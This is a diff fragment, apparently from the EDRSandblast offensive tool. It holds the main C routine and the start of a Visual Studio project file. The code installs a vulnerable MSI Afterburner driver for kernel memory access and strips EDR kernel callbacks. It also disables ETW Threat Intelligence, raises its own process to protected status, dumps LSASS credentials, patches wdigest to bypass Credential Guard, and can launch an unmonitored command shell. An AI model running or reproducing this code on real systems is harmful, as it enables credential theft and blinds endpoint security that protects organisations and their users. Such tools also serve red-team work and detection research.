||||||
|
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||||
|
i++;
|
||||||
|
if (i > argc) {
|
||||||
|
_tprintf(TEXT("%s"), usage);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
|
||||||
|
i++;
|
||||||
|
if (i > argc) {
|
||||||
|
_tprintf(TEXT("%s"), usage);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
|
||||||
|
i++;
|
||||||
|
if (i > argc) {
|
||||||
|
_tprintf(TEXT("%s"), usage);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
unhook_method = _ttoi(argv[i]);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("%s"), usage);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Command line option consistency checks
|
||||||
|
if (startMode == cmd && !kernelMode) {
|
||||||
|
_tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n"));
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
if (!userMode && !kernelMode) {
|
||||||
|
_tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
|
||||||
|
userMode = TRUE;
|
||||||
|
}
|
||||||
|
if (startMode == credguard && !kernelMode) {
|
||||||
|
_tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||||
|
}
|
||||||
|
if (startMode == dump && !kernelMode) {
|
||||||
|
_tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL isSafeToExecutePayload = TRUE;
|
||||||
|
|
||||||
|
if (kernelMode) {
|
||||||
|
if (_tcslen(driverPath) == 0) {
|
||||||
|
TCHAR separator[] = TEXT("\\");
|
||||||
|
_tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
|
||||||
|
_tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
|
||||||
|
_tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
|
||||||
|
}
|
||||||
|
DWORD driverAttrib = GetFileAttributes(driverPath);
|
||||||
|
if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
|
||||||
|
_tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_tcslen(ntoskrnlOffsetCSVPath) == 0) {
|
||||||
|
TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv");
|
||||||
|
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||||
|
_tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
|
||||||
|
_tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n"));
|
||||||
|
ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath);
|
||||||
|
if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) {
|
||||||
|
_tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n"));
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
|
||||||
|
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||||
|
_tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n"));
|
||||||
|
status = InstallVulnerableDriver(driverPath);
|
||||||
|
if (status != TRUE) {
|
||||||
|
_tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n"));
|
||||||
|
_tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n"));
|
||||||
|
Sleep(2000);
|
||||||
|
status = UninstallVulnerableDriver();
|
||||||
|
Sleep(2000);
|
||||||
|
status = status && InstallVulnerableDriver(driverPath);
|
||||||
|
Sleep(2000);
|
||||||
|
if (status != TRUE) {
|
||||||
|
_tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n"));
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
|
||||||
|
Sleep(5000);
|
||||||
|
|
||||||
|
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
|
||||||
|
_tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n"));
|
||||||
|
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||||
|
if (!checkEDRDrivers) {
|
||||||
|
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||||
|
if (checkEDRDrivers->index) {
|
||||||
|
isSafeToExecutePayload = FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||||
|
_tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
if (ETWTIState) {
|
||||||
|
isSafeToExecutePayload = FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (userMode) {
|
||||||
|
_tprintf(TEXT("Loaded DLLs in current process:\n"));
|
||||||
|
hooks = searchHooks(NULL);
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if (startMode != audit) {
|
||||||
|
if (userMode) {
|
||||||
|
for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
||||||
|
printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method);
|
||||||
|
unhook(ptr, unhook_method);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isSafeToExecutePayload) {
|
||||||
|
_tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n"));
|
||||||
|
|
||||||
|
// Do the operation the tool was started for.
|
||||||
|
switch (startMode) {
|
||||||
|
|
||||||
|
// Start a process executing cmd.exe.
|
||||||
|
case cmd:
|
||||||
|
_tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
|
||||||
|
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
|
||||||
|
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n"));
|
||||||
|
// Find cmd.exe path.
|
||||||
|
TCHAR systemDirectory[MAX_PATH * 2] = { 0 };
|
||||||
|
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||||
|
TCHAR cmdPath[MAX_PATH * 2] = { 0 };
|
||||||
|
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
|
||||||
|
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
|
||||||
|
_tsystem(cmdPath);
|
||||||
|
break;
|
||||||
|
|
||||||
|
// Dump the LSASS process in a new thread.
|
||||||
|
case dump:
|
||||||
|
if (kernelMode) {
|
||||||
|
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n"));
|
||||||
|
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||||
|
SetCurrentProcessAsProtected(verbose);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_tcslen(outputPath) == 0) {
|
||||||
|
TCHAR outputName[] = TEXT("\\lsass");
|
||||||
|
_tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath));
|
||||||
|
_tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName));
|
||||||
|
}
|
||||||
|
|
||||||
|
_tprintf(TEXT("[+] Attempting to dump LSASS\n"));
|
||||||
|
HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL);
|
||||||
|
if (hThread) {
|
||||||
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
|
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
|
||||||
|
if (lpExitCode != 0) {
|
||||||
|
_tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n"));
|
||||||
|
lpExitCode = EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n"));
|
||||||
|
lpExitCode = EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
|
||||||
|
|
||||||
|
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
|
||||||
|
case credguard:
|
||||||
|
if (kernelMode) {
|
||||||
|
_tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n"));
|
||||||
|
if (ntoskrnlOffsets.st.ps_protection != 0x0) {
|
||||||
|
SetCurrentProcessAsProtected(verbose);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (_tcslen(wdigestOffsetCSVPath) == 0) {
|
||||||
|
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
|
||||||
|
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||||
|
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||||
|
}
|
||||||
|
|
||||||
|
wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath);
|
||||||
|
if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||||
|
_tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n"));
|
||||||
|
lpExitCode = EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
if (disableCredGuardByPatchingLSASS()) {
|
||||||
|
_tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n"));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n"));
|
||||||
|
lpExitCode = EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and start another process...\n"));
|
||||||
|
#ifdef _DEBUG
|
||||||
|
assert(kernelMode);
|
||||||
|
#endif
|
||||||
|
/*
|
||||||
|
* 1/3 : Removing kernel-based monitoring.
|
||||||
|
*/
|
||||||
|
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
|
||||||
|
if (ETWTIState) {
|
||||||
|
DisableETWThreatIntelProvider(verbose);
|
||||||
|
}
|
||||||
|
// If kernel callbacks are monitoring processes, we remove them and start a new process.
|
||||||
|
if (checkEDRDrivers && checkEDRDrivers->index != 0) {
|
||||||
|
_tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n"));
|
||||||
|
// Removes EDR drivers callbacks for process / threads creation and image loading.
|
||||||
|
removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||||
|
if (!removedEDRDrivers) {
|
||||||
|
_tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n"));
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
_tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n"));
|
||||||
|
RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose);
|
||||||
|
_tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n"));
|
||||||
|
RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose);
|
||||||
|
_tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n"));
|
||||||
|
RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose);
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
|
||||||
|
// Checks that EDR drivers were indeed removed and if so, go on with the payload.
|
||||||
|
_tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n"));
|
||||||
|
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||||
|
if (!checkEDRDrivers) {
|
||||||
|
_tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n"));
|
||||||
|
free(removedEDRDrivers);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
if (checkEDRDrivers->index != 0) {
|
||||||
|
_tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting..."));
|
||||||
|
lpExitCode = EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
free(checkEDRDrivers);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 2/3 : Starting "resursively" our process.
|
||||||
|
*/
|
||||||
|
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
|
||||||
|
_tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n"));
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
STARTUPINFO si;
|
||||||
|
PROCESS_INFORMATION pi;
|
||||||
|
memset(&si, 0, sizeof(si));
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
memset(&pi, 0, sizeof(pi));
|
||||||
|
// Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process.
|
||||||
|
TCHAR* currentCommandLine = GetCommandLine();
|
||||||
|
TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver"));
|
||||||
|
|
||||||
|
//TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const".
|
||||||
|
const SIZE_T commandLineMaxLen = 32768;
|
||||||
|
TCHAR* commandLine = (TCHAR*)calloc(commandLineMaxLen, sizeof(TCHAR));
|
||||||
|
_tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine));
|
||||||
|
_tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag));
|
||||||
|
|
||||||
|
if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
|
||||||
|
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] An error occured while trying to create a new process\n"));
|
||||||
|
lpExitCode = EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
free(commandLine);
|
||||||
|
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
|
||||||
|
/*
|
||||||
|
* 3/3 : Restoring state after execution.
|
||||||
|
*/
|
||||||
|
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
|
||||||
|
if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) {
|
||||||
|
// Restores the EDR drivers.
|
||||||
|
_tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n"));
|
||||||
|
RestoreEDRCallbacks(removedEDRDrivers);
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
|
||||||
|
// Checks that the EDR drivers were indeed restored.
|
||||||
|
_tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n"));
|
||||||
|
checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||||
|
if (!checkEDRDrivers) {
|
||||||
|
_tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||||
|
}
|
||||||
|
EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose);
|
||||||
|
if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) {
|
||||||
|
_tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n"));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n"));
|
||||||
|
lpExitCode = EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
free(checkEDRDrivers);
|
||||||
|
_tprintf(TEXT("\n\n"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Renable the ETW Threat Intel provider.
|
||||||
|
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||||
|
if (ETWTIState) {
|
||||||
|
EnableETWThreatIntelProvider(verbose);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (removedEDRDrivers) {
|
||||||
|
free(removedEDRDrivers);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO : Fix Windows error 0x00000422 that happens on 1 on 2 restart after uninstall.
|
||||||
|
if (kernelMode && removeVulnDriver) {
|
||||||
|
Sleep(5000);
|
||||||
|
_tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n"));
|
||||||
|
status = UninstallVulnerableDriver();
|
||||||
|
if (status == FALSE) {
|
||||||
|
_tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n"));
|
||||||
|
_tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), gVulnDriverServiceName);
|
||||||
|
lpExitCode = EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return lpExitCode;
|
||||||
|
}
|
||||||
@@ -0,0 +1,195 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>16.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{7e3e2ece-d1eb-43c6-8c83-b52b7571954b}</ProjectGuid>
|
||||||
|
<RootNamespace>EDRSandblast</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level4</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level4</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level4</WarningLevel>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<AdditionalIncludeDirectories>Includes/</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level4</WarningLevel>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>true</ConformanceMode>
|
||||||
|
